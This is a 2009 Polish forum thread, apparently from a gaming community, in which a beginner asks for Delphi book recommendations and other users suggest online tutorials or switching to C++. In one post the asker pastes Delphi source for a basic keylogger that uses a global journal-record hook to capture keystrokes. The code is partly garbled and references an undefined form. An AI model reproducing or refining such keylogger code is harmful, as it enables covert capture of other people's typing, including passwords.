Zaloguj się

View Full Version : Ksi??ka



DeDa'xiorek
24-01-2009, 21:54
Witam
che kupić książkę o języku DELPHI  właśnie zastanawiałem się nad tytułem „Delphi 6 dla każdego” warto dodać ze jestem ZIELONY, a che się w wolnej chwili czymś zająć. Więc che rozpocząć naukę, może znacie jakie Poradniki (lepsze) z których sam korzystałeś.
wiem na google tego jest mnóstwo, tylko tam jakoś… jak by to powiedzieć. Zielony nic się nie nauczy.
Więc ponawiam pytanie, znacie jakieś tytuły książek, albo jakieś dobre poradniki dla zielonych :D?

DeDa'xiorek
25-01-2009, 01:04
reflesh
.................................................. .

DeDa'xiorek
25-01-2009, 11:30
reflesh .

Idlis
25-01-2009, 11:46
Na ch*ja co chwile odświezasz ? .

Black Morn
25-01-2009, 12:20
Nie kupuj, żadnych książek Delphi. Dlaczego? Wszystko można znaleźć w internecie. Chcesz być młodym programistą, robić keyloggery? Jeszcze daleka droga do tego...

DeDa'xiorek
25-01-2009, 12:25
Nie kupuj, żadnych książek Delphi. Dlaczego? Wszystko można znaleźć w internecie. Chcesz być młodym programistą, robić keyloggery? Jeszcze daleka droga do tego...

To dobry jestes nie?? Pro evul Grulix umie Delphi :<
A keyloggery lepiej pisać w C++...
Na necie nie ma poradnikow od 0 :/ przeczytałem z 5-6 i na początku się zatrzymałem, bo w 2 rozdziale robili juz TAbele nie tłumacząc nic.
Więc ponawiam pytanie, jaką ksiązke/poradnik na necie polecacie?


A Keylogger jest łatwy :) masz przykład


unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Hook : Integer;

MessageBuffer :TEventMsg;


implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuff er.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin

Hook:=SetWindowsHookEx(wh_journalrecord,play,HInst ance,0);
end;

end.

To jest banalne jak sie umie :), a ja nie umiem ,nie che keyloggerow, a che się czegoś poczyć? rozumiesz N A U K A. Od 0 :D

Ponawiam pytanie :)

Spaślak
25-01-2009, 13:06
Na początku opanuj konsole : >
I wszystkie polecenia z nią związane, a jest tego troche, jak nie będziesz umiał podstaw to patałach nie programista bedziesz : >
Teraz konsola na drugi rok Delphi.

Martin16
25-01-2009, 13:49
Daj se spokój z książkami, graj w tibie, nie no yoke xDD

Exevo knight
25-01-2009, 16:24
Ja ci radzę uczyć się języka C++. Jest ciekawszy i bardziej przydatny. Do tego języka polecam "Symfonia C++" albo "Od 0 do gier kodera".

..Zaxu$..
25-01-2009, 21:39
kup lepiej chara na apo albo pacc .. a co do ksiazki to kup jak chcesz.......